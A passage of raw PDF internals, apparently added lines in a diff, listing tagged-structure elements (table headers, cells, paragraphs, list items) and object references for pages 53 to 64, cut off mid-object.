+endobj +5264 0 obj +<< +/K [2692 0 R] +/P 6355 0 R +/Pg 53 0 R +/S /TH +/Type /StructElem +>> +endobj +5265 0 obj +<< +/K [2693 0 R] +/P 6355 0 R +/Pg 53 0 R +/S /TD +/Type /StructElem +>> +endobj +5266 0 obj +<< +/K [2694 0 R] +/P 6356 0 R +/Pg 53 0 R +/S /TH +/Type /StructElem +>> +endobj +5267 0 obj +<< +/K [2695 0 R] +/P 6356 0 R +/Pg 53 0 R +/S /TD +/Type /StructElem +>> +endobj +5268 0 obj +<< +/Obj 361 0 R +/Pg 53 0 R +/Type /OBJR +>> +endobj +5269 0 obj +<< +/Obj 362 0 R +/Pg 53 0 R +/Type /OBJR +>> +endobj +5270 0 obj +<< +/K [2698 0 R 2699 0 R 2732 0 R 2701 0 R 2733 0 R 2703 0 R] +/P 6601 0 R +/Pg 54 0 R +/S /P +/Type /StructElem +>> +endobj +5271 0 obj +<< +/K [2704 0 R] +/P 6357 0 R +/Pg 54 0 R +/S /TH +/Type /StructElem +>> +endobj +5272 0 obj +<< +/K [2705 0 R] +/P 6358 0 R +/Pg 54 0 R +/S /TH +/Type /StructElem +>> +endobj +5273 0 obj +<< +/K [2706 0 R] +/P 6358 0 R +/Pg 54 0 R +/S /TD +/Type /StructElem +>> +endobj +5274 0 obj +<< +/K [2707 0 R] +/P 6359 0 R +/Pg 54 0 R +/S /TH +/Type /StructElem +>> +endobj +5275 0 obj +<< +/K [2708 0 R] +/P 6359 0 R +/Pg 54 0 R +/S /TD +/Type /StructElem +>> +endobj +5276 0 obj +<< +/K [2709 0 R] +/P 6360 0 R +/Pg 54 0 R +/S /TH +/Type /StructElem +>> +endobj +5277 0 obj +<< +/K [2710 0 R] +/P 6360 0 R +/Pg 54 0 R +/S /TD +/Type /StructElem +>> +endobj +5278 0 obj +<< +/K [2711 0 R 2712 0 R 2734 0 R 2714 0 R 2735 0 R 2716 0 R] +/P 6602 0 R +/Pg 54 0 R +/S /P +/Type /StructElem +>> +endobj +5279 0 obj +<< +/K [2717 0 R] +/P 6361 0 R +/Pg 54 0 R +/S /TH +/Type /StructElem +>> +endobj +5280 0 obj +<< +/K [2718 0 R] +/P 6362 0 R +/Pg 54 0 R +/S /TH +/Type /StructElem +>> +endobj +5281 0 obj +<< +/K [2719 0 R] +/P 6362 0 R +/Pg 54 0 R +/S /TD +/Type /StructElem +>> +endobj +5282 0 obj +<< +/K [2720 0 R] +/P 6363 0 R +/Pg 54 0 R +/S /TH +/Type /StructElem +>> +endobj +5283 0 obj +<< +/K [2721 0 R] +/P 6363 0 R +/Pg 54 0 R +/S /TD +/Type /StructElem +>> +endobj +5284 0 obj +<< +/K [2722 0 R] +/P 6364 0 R +/Pg 54 0 R +/S /TH +/Type /StructElem +>> +endobj +5285 0 obj +<< +/K [2723 0 R] +/P 6364 0 R +/Pg 54 0 R +/S /TD +/Type /StructElem +>> +endobj +5286 0 obj +<< +/K [2724 0 R] +/P 6365 0 R +/Pg 54 0 R +/S /TH +/Type /StructElem +>> +endobj +5287 0 obj +<< +/K [2725 0 R] +/P 6365 0 R +/Pg 54 0 R +/S /TD +/Type /StructElem +>> +endobj +5288 0 obj +<< +/K [2726 0 R] +/P 6366 0 R +/Pg 54 0 R +/S /TH +/Type /StructElem +>> +endobj +5289 0 obj +<< +/K [2727 0 R] +/P 6366 0 R +/Pg 54 0 R +/S /TD +/Type /StructElem +>> +endobj +5290 0 obj +<< +/K [2728 0 R] +/P 6367 0 R +/Pg 54 0 R +/S /TH +/Type /StructElem +>> +endobj +5291 0 obj +<< +/K [2729 0 R] +/P 6367 0 R +/Pg 54 0 R +/S /TD +/Type /StructElem +>> +endobj +5292 0 obj +<< +/K [2730 0 R] +/P 6368 0 R +/Pg 54 0 R +/S /TH +/Type /StructElem +>> +endobj +5293 0 obj +<< +/K [2731 0 R] +/P 6368 0 R +/Pg 54 0 R +/S /TD +/Type /StructElem +>> +endobj +5294 0 obj +<< +/Obj 364 0 R +/Pg 54 0 R +/Type /OBJR +>> +endobj +5295 0 obj +<< +/Obj 365 0 R +/Pg 54 0 R +/Type /OBJR +>> +endobj +5296 0 obj +<< +/Obj 366 0 R +/Pg 54 0 R +/Type /OBJR +>> +endobj +5297 0 obj +<< +/Obj 367 0 R +/Pg 54 0 R +/Type /OBJR +>> +endobj +5298 0 obj +<< +/K [2736 0 R 2737 0 R 2797 0 R 2739 0 R 2798 0 R 2741 0 R] +/P 6603 0 R +/Pg 55 0 R +/S /P +/Type /StructElem +>> +endobj +5299 0 obj +<< +/K [2742 0 R] +/P 6369 0 R +/Pg 55 0 R +/S /TH +/Type /StructElem +>> +endobj +5300 0 obj +<< +/K [2743 0 R] +/P 6370 0 R +/Pg 55 0 R +/S /TH +/Type /StructElem +>> +endobj +5301 0 obj +<< +/K [2744 0 R] +/P 6370 0 R +/Pg 55 0 R +/S /TD +/Type /StructElem +>> +endobj +5302 0 obj +<< +/K [2745 0 R] +/P 6371 0 R +/Pg 55 0 R +/S /TH +/Type /StructElem +>> +endobj +5303 0 obj +<< +/K [2746 0 R] +/P 6371 0 R +/Pg 55 0 R +/S /TD +/Type /StructElem +>> +endobj +5304 0 obj +<< +/K [2747 0 R] +/P 6372 0 R +/Pg 55 0 R +/S /TH +/Type /StructElem +>> +endobj +5305 0 obj +<< +/K [2748 0 R] +/P 6372 0 R +/Pg 55 0 R +/S /TD +/Type /StructElem +>> +endobj +5306 0 obj +<< +/K [2749 0 R] +/P 6373 0 R +/Pg 55 0 R +/S /TH +/Type /StructElem +>> +endobj +5307 0 obj +<< +/K [2750 0 R] +/P 6373 0 R +/Pg 55 0 R +/S /TD +/Type /StructElem +>> +endobj +5308 0 obj +<< +/K [2751 0 R] +/P 6374 0 R +/Pg 55 0 R +/S /TH +/Type /StructElem +>> +endobj +5309 0 obj +<< +/K [2752 0 R] +/P 6374 0 R +/Pg 55 0 R +/S /TD +/Type /StructElem +>> +endobj +5310 0 obj +<< +/K [2753 0 R] +/P 6375 0 R +/Pg 55 0 R +/S /TH +/Type /StructElem +>> +endobj +5311 0 obj +<< +/K [2754 0 R] +/P 6375 0 R +/Pg 55 0 R +/S /TD +/Type /StructElem +>> +endobj +5312 0 obj +<< +/K [2755 0 R] +/P 6376 0 R +/Pg 55 0 R +/S /TH +/Type /StructElem +>> +endobj +5313 0 obj +<< +/K [2756 0 R] +/P 6376 0 R +/Pg 55 0 R +/S /TD +/Type /StructElem +>> +endobj +5314 0 obj +<< +/K [2757 0 R] +/P 6377 0 R +/Pg 55 0 R +/S /TH +/Type /StructElem +>> +endobj +5315 0 obj +<< +/K [2758 0 R] +/P 6377 0 R +/Pg 55 0 R +/S /TD +/Type /StructElem +>> +endobj +5316 0 obj +<< +/K [2759 0 R] +/P 6378 0 R +/Pg 55 0 R +/S /TH +/Type /StructElem +>> +endobj +5317 0 obj +<< +/K [2760 0 R] +/P 6378 0 R +/Pg 55 0 R +/S /TD +/Type /StructElem +>> +endobj +5318 0 obj +<< +/K [2761 0 R] +/P 6379 0 R +/Pg 55 0 R +/S /TH +/Type /StructElem +>> +endobj +5319 0 obj +<< +/K [2762 0 R] +/P 6379 0 R +/Pg 55 0 R +/S /TD +/Type /StructElem +>> +endobj +5320 0 obj +<< +/K [2763 0 R] +/P 6380 0 R +/Pg 55 0 R +/S /TH +/Type /StructElem +>> +endobj +5321 0 obj +<< +/K [2764 0 R] +/P 6380 0 R +/Pg 55 0 R +/S /TD +/Type /StructElem +>> +endobj +5322 0 obj +<< +/K [2765 0 R] +/P 6381 0 R +/Pg 55 0 R +/S /TH +/Type /StructElem +>> +endobj +5323 0 obj +<< +/K [2766 0 R] +/P 6381 0 R +/Pg 55 0 R +/S /TD +/Type /StructElem +>> +endobj +5324 0 obj +<< +/K [2767 0 R] +/P 6382 0 R +/Pg 55 0 R +/S /TH +/Type /StructElem +>> +endobj +5325 0 obj +<< +/K [2768 0 R] +/P 6382 0 R +/Pg 55 0 R +/S /TD +/Type /StructElem +>> +endobj +5326 0 obj +<< +/K [2769 0 R] +/P 6383 0 R +/Pg 55 0 R +/S /TH +/Type /StructElem +>> +endobj +5327 0 obj +<< +/K [2770 0 R] +/P 6383 0 R +/Pg 55 0 R +/S /TD +/Type /StructElem +>> +endobj +5328 0 obj +<< +/K [2771 0 R] +/P 6384 0 R +/Pg 55 0 R +/S /TH +/Type /StructElem +>> +endobj +5329 0 obj +<< +/K [2772 0 R] +/P 6384 0 R +/Pg 55 0 R +/S /TD +/Type /StructElem +>> +endobj +5330 0 obj +<< +/K [2773 0 R] +/P 6385 0 R +/Pg 55 0 R +/S /TH +/Type /StructElem +>> +endobj +5331 0 obj +<< +/K [2774 0 R] +/P 6385 0 R +/Pg 55 0 R +/S /TD +/Type /StructElem +>> +endobj +5332 0 obj +<< +/K [2775 0 R] +/P 6386 0 R +/Pg 55 0 R +/S /TH +/Type /StructElem +>> +endobj +5333 0 obj +<< +/K [2776 0 R] +/P 6386 0 R +/Pg 55 0 R +/S /TD +/Type /StructElem +>> +endobj +5334 0 obj +<< +/K [2777 0 R] +/P 6387 0 R +/Pg 55 0 R +/S /TH +/Type /StructElem +>> +endobj +5335 0 obj +<< +/K [2778 0 R] +/P 6387 0 R +/Pg 55 0 R +/S /TD +/Type /StructElem +>> +endobj +5336 0 obj +<< +/K [2779 0 R] +/P 6388 0 R +/Pg 55 0 R +/S /TH +/Type /StructElem +>> +endobj +5337 0 obj +<< +/K [2780 0 R] +/P 6388 0 R +/Pg 55 0 R +/S /TD +/Type /StructElem +>> +endobj +5338 0 obj +<< +/K [2781 0 R] +/P 6389 0 R +/Pg 55 0 R +/S /TH +/Type /StructElem +>> +endobj +5339 0 obj +<< +/K [2782 0 R] +/P 6389 0 R +/Pg 55 0 R +/S /TD +/Type /StructElem +>> +endobj +5340 0 obj +<< +/K [2783 0 R] +/P 6390 0 R +/Pg 55 0 R +/S /TH +/Type /StructElem +>> +endobj +5341 0 obj +<< +/K [2784 0 R] +/P 6390 0 R +/Pg 55 0 R +/S /TD +/Type /StructElem +>> +endobj +5342 0 obj +<< +/K [2785 0 R] +/P 6391 0 R +/Pg 55 0 R +/S /TH +/Type /StructElem +>> +endobj +5343 0 obj +<< +/K [2786 0 R] +/P 6391 0 R +/Pg 55 0 R +/S /TD +/Type /StructElem +>> +endobj +5344 0 obj +<< +/K [2787 0 R] +/P 6392 0 R +/Pg 55 0 R +/S /TH +/Type /StructElem +>> +endobj +5345 0 obj +<< +/K [2788 0 R] +/P 6392 0 R +/Pg 55 0 R +/S /TD +/Type /StructElem +>> +endobj +5346 0 obj +<< +/K [2789 0 R] +/P 6393 0 R +/Pg 55 0 R +/S /TH +/Type /StructElem +>> +endobj +5347 0 obj +<< +/K [2790 0 R] +/P 6393 0 R +/Pg 55 0 R +/S /TD +/Type /StructElem +>> +endobj +5348 0 obj +<< +/K [2791 0 R] +/P 6394 0 R +/Pg 55 0 R +/S /TH +/Type /StructElem +>> +endobj +5349 0 obj +<< +/K [2792 0 R] +/P 6394 0 R +/Pg 55 0 R +/S /TD +/Type /StructElem +>> +endobj +5350 0 obj +<< +/K [2793 0 R] +/P 6395 0 R +/Pg 55 0 R +/S /TH +/Type /StructElem +>> +endobj +5351 0 obj +<< +/K [2794 0 R] +/P 6395 0 R +/Pg 55 0 R +/S /TD +/Type /StructElem +>> +endobj +5352 0 obj +<< +/K [2795 0 R] +/P 6396 0 R +/Pg 55 0 R +/S /TH +/Type /StructElem +>> +endobj +5353 0 obj +<< +/K [2796 0 R] +/P 6396 0 R +/Pg 55 0 R +/S /TD +/Type /StructElem +>> +endobj +5354 0 obj +<< +/Obj 370 0 R +/Pg 55 0 R +/Type /OBJR +>> +endobj +5355 0 obj +<< +/Obj 371 0 R +/Pg 55 0 R +/Type /OBJR +>> +endobj +5356 0 obj +<< +/K [2799 0 R 2800 0 R 2834 0 R 2802 0 R 2835 0 R 2804 0 R] +/P 6604 0 R +/Pg 56 0 R +/S /P +/Type /StructElem +>> +endobj +5357 0 obj +<< +/K [2805 0 R] +/P 6397 0 R +/Pg 56 0 R +/S /TH +/Type /StructElem +>> +endobj +5358 0 obj +<< +/K [2806 0 R] +/P 6398 0 R +/Pg 56 0 R +/S /TH +/Type /StructElem +>> +endobj +5359 0 obj +<< +/K [2807 0 R] +/P 6398 0 R +/Pg 56 0 R +/S /TD +/Type /StructElem +>> +endobj +5360 0 obj +<< +/K [2808 0 R] +/P 6399 0 R +/Pg 56 0 R +/S /TH +/Type /StructElem +>> +endobj +5361 0 obj +<< +/K [2809 0 R] +/P 6399 0 R +/Pg 56 0 R +/S /TD +/Type /StructElem +>> +endobj +5362 0 obj +<< +/K [2810 0 R] +/P 6400 0 R +/Pg 56 0 R +/S /TH +/Type /StructElem +>> +endobj +5363 0 obj +<< +/K [2811 0 R] +/P 6400 0 R +/Pg 56 0 R +/S /TD +/Type /StructElem +>> +endobj +5364 0 obj +<< +/K [2812 0 R] +/P 6401 0 R +/Pg 56 0 R +/S /TH +/Type /StructElem +>> +endobj +5365 0 obj +<< +/K [2813 0 R] +/P 6401 0 R +/Pg 56 0 R +/S /TD +/Type /StructElem +>> +endobj +5366 0 obj +<< +/K [2814 0 R] +/P 6402 0 R +/Pg 56 0 R +/S /TH +/Type /StructElem +>> +endobj +5367 0 obj +<< +/K [2815 0 R] +/P 6402 0 R +/Pg 56 0 R +/S /TD +/Type /StructElem +>> +endobj +5368 0 obj +<< +/K [2816 0 R] +/P 6403 0 R +/Pg 56 0 R +/S /TH +/Type /StructElem +>> +endobj +5369 0 obj +<< +/K [2817 0 R] +/P 6403 0 R +/Pg 56 0 R +/S /TD +/Type /StructElem +>> +endobj +5370 0 obj +<< +/K [2818 0 R] +/P 6404 0 R +/Pg 56 0 R +/S /TH +/Type /StructElem +>> +endobj +5371 0 obj +<< +/K [2819 0 R] +/P 6404 0 R +/Pg 56 0 R +/S /TD +/Type /StructElem +>> +endobj +5372 0 obj +<< +/K [2820 0 R] +/P 6405 0 R +/Pg 56 0 R +/S /TH +/Type /StructElem +>> +endobj +5373 0 obj +<< +/K [2821 0 R] +/P 6405 0 R +/Pg 56 0 R +/S /TD +/Type /StructElem +>> +endobj +5374 0 obj +<< +/K [2822 0 R] +/P 6406 0 R +/Pg 56 0 R +/S /TH +/Type /StructElem +>> +endobj +5375 0 obj +<< +/K [2823 0 R] +/P 6406 0 R +/Pg 56 0 R +/S /TD +/Type /StructElem +>> +endobj +5376 0 obj +<< +/K [2824 0 R] +/P 6407 0 R +/Pg 56 0 R +/S /TH +/Type /StructElem +>> +endobj +5377 0 obj +<< +/K [2825 0 R] +/P 6407 0 R +/Pg 56 0 R +/S /TD +/Type /StructElem +>> +endobj +5378 0 obj +<< +/K [2826 0 R] +/P 6408 0 R +/Pg 56 0 R +/S /TH +/Type /StructElem +>> +endobj +5379 0 obj +<< +/K [2827 0 R] +/P 6408 0 R +/Pg 56 0 R +/S /TD +/Type /StructElem +>> +endobj +5380 0 obj +<< +/K [2828 0 R] +/P 6409 0 R +/Pg 56 0 R +/S /TH +/Type /StructElem +>> +endobj +5381 0 obj +<< +/K [2829 0 R] +/P 6409 0 R +/Pg 56 0 R +/S /TD +/Type /StructElem +>> +endobj +5382 0 obj +<< +/K [2830 0 R] +/P 6410 0 R +/Pg 56 0 R +/S /TH +/Type /StructElem +>> +endobj +5383 0 obj +<< +/K [2831 0 R] +/P 6410 0 R +/Pg 56 0 R +/S /TD +/Type /StructElem +>> +endobj +5384 0 obj +<< +/K [2832 0 R] +/P 6411 0 R +/Pg 56 0 R +/S /TH +/Type /StructElem +>> +endobj +5385 0 obj +<< +/K [2833 0 R] +/P 6411 0 R +/Pg 56 0 R +/S /TD +/Type /StructElem +>> +endobj +5386 0 obj +<< +/Obj 373 0 R +/Pg 56 0 R +/Type /OBJR +>> +endobj +5387 0 obj +<< +/Obj 374 0 R +/Pg 56 0 R +/Type /OBJR +>> +endobj +5388 0 obj +<< +/K [2836 0 R 2837 0 R 2883 0 R 2839 0 R 2884 0 R 2841 0 R] +/P 6605 0 R +/Pg 57 0 R +/S /P +/Type /StructElem +>> +endobj +5389 0 obj +<< +/K [2842 0 R] +/P 6412 0 R +/Pg 57 0 R +/S /TH +/Type /StructElem +>> +endobj +5390 0 obj +<< +/K [2843 0 R] +/P 6413 0 R +/Pg 57 0 R +/S /TH +/Type /StructElem +>> +endobj +5391 0 obj +<< +/K [2844 0 R] +/P 6413 0 R +/Pg 57 0 R +/S /TD +/Type /StructElem +>> +endobj +5392 0 obj +<< +/K [2845 0 R] +/P 6414 0 R +/Pg 57 0 R +/S /TH +/Type /StructElem +>> +endobj +5393 0 obj +<< +/K [2846 0 R] +/P 6414 0 R +/Pg 57 0 R +/S /TD +/Type /StructElem +>> +endobj +5394 0 obj +<< +/K [2847 0 R] +/P 6415 0 R +/Pg 57 0 R +/S /TH +/Type /StructElem +>> +endobj +5395 0 obj +<< +/K [2848 0 R] +/P 6415 0 R +/Pg 57 0 R +/S /TD +/Type /StructElem +>> +endobj +5396 0 obj +<< +/K [2849 0 R] +/P 6416 0 R +/Pg 57 0 R +/S /TH +/Type /StructElem +>> +endobj +5397 0 obj +<< +/K [2850 0 R] +/P 6416 0 R +/Pg 57 0 R +/S /TD +/Type /StructElem +>> +endobj +5398 0 obj +<< +/K [2851 0 R] +/P 6417 0 R +/Pg 57 0 R +/S /TH +/Type /StructElem +>> +endobj +5399 0 obj +<< +/K [2852 0 R] +/P 6417 0 R +/Pg 57 0 R +/S /TD +/Type /StructElem +>> +endobj +5400 0 obj +<< +/K [2853 0 R] +/P 6418 0 R +/Pg 57 0 R +/S /TH +/Type /StructElem +>> +endobj +5401 0 obj +<< +/K [2854 0 R] +/P 6418 0 R +/Pg 57 0 R +/S /TD +/Type /StructElem +>> +endobj +5402 0 obj +<< +/K [2855 0 R] +/P 6419 0 R +/Pg 57 0 R +/S /TH +/Type /StructElem +>> +endobj +5403 0 obj +<< +/K [2856 0 R] +/P 6419 0 R +/Pg 57 0 R +/S /TD +/Type /StructElem +>> +endobj +5404 0 obj +<< +/K [2857 0 R] +/P 6420 0 R +/Pg 57 0 R +/S /TH +/Type /StructElem +>> +endobj +5405 0 obj +<< +/K [2858 0 R] +/P 6420 0 R +/Pg 57 0 R +/S /TD +/Type /StructElem +>> +endobj +5406 0 obj +<< +/K [2859 0 R] +/P 6421 0 R +/Pg 57 0 R +/S /TH +/Type /StructElem +>> +endobj +5407 0 obj +<< +/K [2860 0 R] +/P 6421 0 R +/Pg 57 0 R +/S /TD +/Type /StructElem +>> +endobj +5408 0 obj +<< +/K [2861 0 R] +/P 6422 0 R +/Pg 57 0 R +/S /TH +/Type /StructElem +>> +endobj +5409 0 obj +<< +/K [2862 0 R] +/P 6422 0 R +/Pg 57 0 R +/S /TD +/Type /StructElem +>> +endobj +5410 0 obj +<< +/K [2863 0 R] +/P 6423 0 R +/Pg 57 0 R +/S /TH +/Type /StructElem +>> +endobj +5411 0 obj +<< +/K [2864 0 R] +/P 6423 0 R +/Pg 57 0 R +/S /TD +/Type /StructElem +>> +endobj +5412 0 obj +<< +/K [2865 0 R] +/P 6424 0 R +/Pg 57 0 R +/S /TH +/Type /StructElem +>> +endobj +5413 0 obj +<< +/K [2866 0 R] +/P 6424 0 R +/Pg 57 0 R +/S /TD +/Type /StructElem +>> +endobj +5414 0 obj +<< +/K [2867 0 R] +/P 6425 0 R +/Pg 57 0 R +/S /TH +/Type /StructElem +>> +endobj +5415 0 obj +<< +/K [2868 0 R] +/P 6425 0 R +/Pg 57 0 R +/S /TD +/Type /StructElem +>> +endobj +5416 0 obj +<< +/K [2869 0 R] +/P 6426 0 R +/Pg 57 0 R +/S /TH +/Type /StructElem +>> +endobj +5417 0 obj +<< +/K [2870 0 R] +/P 6426 0 R +/Pg 57 0 R +/S /TD +/Type /StructElem +>> +endobj +5418 0 obj +<< +/K [2871 0 R] +/P 6427 0 R +/Pg 57 0 R +/S /TH +/Type /StructElem +>> +endobj +5419 0 obj +<< +/K [2872 0 R] +/P 6427 0 R +/Pg 57 0 R +/S /TD +/Type /StructElem +>> +endobj +5420 0 obj +<< +/K [2873 0 R] +/P 6428 0 R +/Pg 57 0 R +/S /TH +/Type /StructElem +>> +endobj +5421 0 obj +<< +/K [2874 0 R] +/P 6428 0 R +/Pg 57 0 R +/S /TD +/Type /StructElem +>> +endobj +5422 0 obj +<< +/K [2875 0 R] +/P 6429 0 R +/Pg 57 0 R +/S /TH +/Type /StructElem +>> +endobj +5423 0 obj +<< +/K [2876 0 R] +/P 6429 0 R +/Pg 57 0 R +/S /TD +/Type /StructElem +>> +endobj +5424 0 obj +<< +/K [2877 0 R] +/P 6430 0 R +/Pg 57 0 R +/S /TH +/Type /StructElem +>> +endobj +5425 0 obj +<< +/K [2878 0 R] +/P 6430 0 R +/Pg 57 0 R +/S /TD +/Type /StructElem +>> +endobj +5426 0 obj +<< +/K [2879 0 R] +/P 6431 0 R +/Pg 57 0 R +/S /TH +/Type /StructElem +>> +endobj +5427 0 obj +<< +/K [2880 0 R] +/P 6431 0 R +/Pg 57 0 R +/S /TD +/Type /StructElem +>> +endobj +5428 0 obj +<< +/K [2881 0 R] +/P 6432 0 R +/Pg 57 0 R +/S /TH +/Type /StructElem +>> +endobj +5429 0 obj +<< +/K [2882 0 R] +/P 6432 0 R +/Pg 57 0 R +/S /TD +/Type /StructElem +>> +endobj +5430 0 obj +<< +/Obj 377 0 R +/Pg 57 0 R +/Type /OBJR +>> +endobj +5431 0 obj +<< +/Obj 378 0 R +/Pg 57 0 R +/Type /OBJR +>> +endobj +5432 0 obj +<< +/K [2890 0 R 2900 0 R] +/P 6433 0 R +/Pg 60 0 R +/S /TH +/Type /StructElem +>> +endobj +5433 0 obj +<< +/K [2891 0 R] +/P 6433 0 R +/Pg 60 0 R +/S /TH +/Type /StructElem +>> +endobj +5434 0 obj +<< +/K [2892 0 R 6606 0 R 2895 0 R 2896 0 R 2897 0 R 6607 0 R] +/P 6433 0 R +/Pg 60 0 R +/S /TH +/Type /StructElem +>> +endobj +5435 0 obj +<< +/K [2893 0 R] +/P 6606 0 R +/Pg 60 0 R +/S /LI +/Type /StructElem +>> +endobj +5436 0 obj +<< +/K [2894 0 R] +/P 6606 0 R +/Pg 60 0 R +/S /LI +/Type /StructElem +>> +endobj +5437 0 obj +<< +/K [2898 0 R] +/P 6607 0 R +/Pg 60 0 R +/S /LI +/Type /StructElem +>> +endobj +5438 0 obj +<< +/K [2899 0 R] +/P 6607 0 R +/Pg 60 0 R +/S /LI +/Type /StructElem +>> +endobj +5439 0 obj +<< +/K [2906 0 R] +/P 6434 0 R +/Pg 61 0 R +/S /TH +/Type /StructElem +>> +endobj +5440 0 obj +<< +/K [2907 0 R] +/P 6434 0 R +/Pg 61 0 R +/S /TH +/Type /StructElem +>> +endobj +5441 0 obj +<< +/K [2908 0 R] +/P 6434 0 R +/Pg 61 0 R +/S /TH +/Type /StructElem +>> +endobj +5442 0 obj +<< +/K [2909 0 R 2910 0 R] +/P 6435 0 R +/Pg 61 0 R +/S /TH +/Type /StructElem +>> +endobj +5443 0 obj +<< +/K [2911 0 R] +/P 6435 0 R +/Pg 61 0 R +/S /TD +/Type /StructElem +>> +endobj +5444 0 obj +<< +/K [2912 0 R] +/P 6435 0 R +/Pg 61 0 R +/S /TD +/Type /StructElem +>> +endobj +5445 0 obj +<< +/K [2913 0 R] +/P 6436 0 R +/Pg 62 0 R +/S /TH +/Type /StructElem +>> +endobj +5446 0 obj +<< +/K [2914 0 R] +/P 6436 0 R +/Pg 62 0 R +/S /TH +/Type /StructElem +>> +endobj +5447 0 obj +<< +/K [2915 0 R] +/P 6436 0 R +/Pg 62 0 R +/S /TH +/Type /StructElem +>> +endobj +5448 0 obj +<< +/K [2916 0 R 2917 0 R] +/P 6437 0 R +/Pg 62 0 R +/S /TH +/Type /StructElem +>> +endobj +5449 0 obj +<< +/K [2918 0 R] +/P 6437 0 R +/Pg 62 0 R +/S /TD +/Type /StructElem +>> +endobj +5450 0 obj +<< +/K [2919 0 R] +/P 6437 0 R +/Pg 62 0 R +/S /TD +/Type /StructElem +>> +endobj +5451 0 obj +<< +/K [2920 0 R] +/P 6438 0 R +/Pg 62 0 R +/S /TH +/Type /StructElem +>> +endobj +5452 0 obj +<< +/K [2921 0 R] +/P 6438 0 R +/Pg 62 0 R +/S /TD +/Type /StructElem +>> +endobj +5453 0 obj +<< +/K [2922 0 R] +/P 6438 0 R +/Pg 62 0 R +/S /TD +/Type /StructElem +>> +endobj +5454 0 obj +<< +/K [2923 0 R] +/P 6439 0 R +/Pg 63 0 R +/S /TH +/Type /StructElem +>> +endobj +5455 0 obj +<< +/K [2924 0 R] +/P 6439 0 R +/Pg 63 0 R +/S /TH +/Type /StructElem +>> +endobj +5456 0 obj +<< +/K [2925 0 R] +/P 6439 0 R +/Pg 63 0 R +/S /TH +/Type /StructElem +>> +endobj +5457 0 obj +<< +/K [2926 0 R] +/P 6440 0 R +/Pg 63 0 R +/S /TH +/Type /StructElem +>> +endobj +5458 0 obj +<< +/K [2927 0 R] +/P 6440 0 R +/Pg 63 0 R +/S /TD +/Type /StructElem +>> +endobj +5459 0 obj +<< +/K [2928 0 R] +/P 6440 0 R +/Pg 63 0 R +/S /TD +/Type /StructElem +>> +endobj +5460 0 obj +<< +/K [2934 0 R] +/P 6441 0 R +/Pg 64 0 R +/S /TH +/Type /StructElem +>> +endobj +5461 0 obj +<< +/K [2935 0 R] +/P 6441 0 R +/Pg 64 0 R +/S /TH +/Type /StructElem +>> +endobj +5462 0 obj +<< +/K [2936 0 R] +/P 6441 0 R +/Pg 64 0 R +/S /TH +/Type /StructElem +>> +endobj +5463 0 obj +<< +/K [2937 0 R] +/P 6441 0 R +/Pg 64 0 R +/S /TH +/Type /StructElem +>> +endobj +5464 0 obj +<< +/K [2938 0 R] +/P 6442 0 R +/Pg 64 0 R +/S /TH +/Type /StructElem +>> +endobj +5465 0 obj +<< +/K [2939 0 R] +/P 6443 0 R +/Pg 64 0 R +/S /TH +/Type /StructElem +>> +endobj +5466 0 obj +<< +/K [2940 0 R] +/P 6443 0 R +/Pg 64 0 R +/S /TD +/Type /StructElem +>> +endobj +5467 0 obj +<< +/K [2941 0 R] +/P 6443 0 R +/Pg 64 0 R +/S /TD +/Type /StructElem +>> +endobj +5468 0 obj +<< +/K [2942 0 R] +/P 6443 0 R +/Pg 64 0 R +/S /TD +/Type /StructElem +>> +endobj +5469 0 obj +<< +/K [2943 0 R] +/P 6444 0 R +/Pg 64 0 R +/S /TH +/Type /StructElem +>> +endobj +5470 0 obj +<< +/K [2944 0 R] +/P 6444 0 R +/Pg 64 0 R +/S /TD +/Type /StructElem +>> +endobj +5471 0 obj +<< +/K [2945 0 R] +/P 6444 0 R +/Pg 64 0 R +/S /TD +/Type /StructElem +>> +endobj +5472 0 obj +<< +/K [2946 0 R] +/P 6444 0 R +/Pg 64 0 R +/S /TD +/Type /StructElem +>> +endobj +5473 0 obj +<< +/K [2947 0 R] +/P 6445 0 R +/Pg 64 0 R +/S /TH +/Type /StructElem +>> +endobj +5474 0 obj +<< +/K [2948 0 R] +/P 6446 0 R +/Pg 64 0 R +/S /TH +/Type /StructElem +>> +endobj +5475 0 obj +<< +/K [2949 0 R] +/P 6446 0 R +/Pg 64 0 R +/S /TD +/Type /StructElem +>> +endobj +5476 0 obj +<< +/K [2950 0 R] +/P 6446 0 R +/Pg 64 0 R +/S /TD +/Type /StructElem +>> +endobj +5477 0 obj +<< +/K [2951 0 R] +/P 6446 0 R +/Pg 64 0 R +/S /TD +/Type /StructElem +>> +endobj +5478 0 obj +<< +/K [2952 0 R] +/P 6447 0 R +/Pg 64 0 R +/S /TH +/Type /StructElem +>> +endobj +5479 0 obj +<< +/K [2953 0 R] +/P 6447 0 R +/Pg 64 0 R +/S /TD +/Type /StructElem +>> +endobj +5480 0 obj +<< +/K [2954 0 R] +/P 6447 0 R +/Pg 64 0 R +/S /TD +/Type /StructElem +>> +endobj +5481 0 obj +<< +/K [2955 0 R] +/P 6447 0 R +/Pg 64 0 R +/S /TD +/Type /StructElem +>> +endobj +5482 0 obj +<< +/K [2956 0 R] +/P 6448 0 R +/Pg 64 0 R +/S /TH +/Type /StructElem +>> +endobj +5483 0 obj +<< +/K [2957 0 R] +/P 6448 0 R +/Pg 64 0 R +/S /TD +/Type /StructElem +>> +endobj +5484 0 obj +<< +/K [2958 0 R] +/P 6448 0 R +/Pg 64 0 R +/S /TD +/Type /StructElem +>> +endobj +5485 0 obj +<< +/K [2959 0 R] +/P 6448 0 R +/Pg 64 0 R +/S /TD +/Type /StructElem +>> +endobj +5486 0 obj +<< +/K [2960 0 R] +/P 6449 0 R +/Pg 64 0 R +/S /TH +/Type /StructElem +>> +endobj +5487 0 obj +<< +/K [2961 0 R] +/P 6449 0 R +/Pg 64 0 R +/S /TD +/Type /StructElem +>> +endobj +5488 0 obj +<< +/K [2962 0 R] +/P 6449 0 R +/Pg 64 0 R +/S /TD +/Type /StructElem +>> +endobj +5489 0 obj +<< +/K [2963 0 R] +/P 6449 0 R +/Pg 64 0 R +/S /TD +/Type /StructElem +>> +endobj +5490 0 obj +<< +/K [2964 0 R] +/P 6450 0 R +/Pg 64 0 R +/S /TH +/Type /StructElem +>> +endobj +5491 0 obj +<< +/K [2965 0 R] +/P 6450 0 R +/Pg 64 0 R +/S /TD +/Type /StructElem +>> +endobj +5492 0 obj +<< +/K [2966 0 R] +/P 6450 0 R +/Pg 64 0 R +/S /TD +/Type /StructElem +>> +endobj +5493 0 obj +<< +/K [2967 0 R] +/P 6450 0 R +/Pg 64 0 R +/S /TD +/Type /StructElem +>> +endobj +5494 0 obj +<< 